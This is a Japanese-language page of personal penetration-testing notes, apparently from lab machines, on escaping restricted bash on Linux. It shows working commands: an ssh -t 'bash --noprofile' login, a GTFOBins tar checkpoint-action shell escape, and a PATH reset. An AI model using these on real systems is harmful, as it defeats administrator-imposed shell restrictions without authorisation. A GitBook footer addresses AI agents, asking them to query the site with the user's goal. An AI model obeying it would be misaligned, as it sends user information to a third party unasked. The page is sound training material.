> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/escaping-rbash-to-normal-bash-linux.md).

# RBash を通常の Bash に脱出する

rbash の制限を回避し、コマンド実行を回復し、PATH 問題を修正し、通常の Linux シェルへアップグレードするための制限付き Bash 脱出メモ。

### SSH rbash：

ユーザー `mindy` 現在、 `rbash` 多くのコマンドの実行を制限するシェルを使用しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b974ef5e62ab54ab40bb654c6edd6285db721d6%2Fimage%20(2592).png?alt=media" alt=""><figcaption></figcaption></figure>

この制限を回避するには、SSH接続を必要とするコマンドを使って Bash シェルを取得できます：

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2133a4742764de292e0e29c65c8b52dd97e53f23%2Fimage%20(2593).png?alt=media" alt=""><figcaption></figcaption></figure>

### **rbash バイパス - tar**

私たちは Ayush としてログインしますが、 `rbash` シェルに制限されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccf75cb0c2213c616fd08c5ffeb2c6417226af79%2F%7BE7269D07-4C20-424B-9EF7-9E712E9408C2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

利用可能なコマンド一覧：

```bash
compgen -c
```

私たちは `tar` を見つけ、 `rbash` 次を付けて:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7e176e1269cb24791c063219c44d208dd8c8459%2Fimage%20(2878).png?alt=media" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b827c9b07e30adadce208e1c372c59b03b853ee%2F%7BBD5A2740-866A-49E0-82EF-6940008D6F95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/post-exploitation/escaping-rbash-to-normal-bash-linux.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
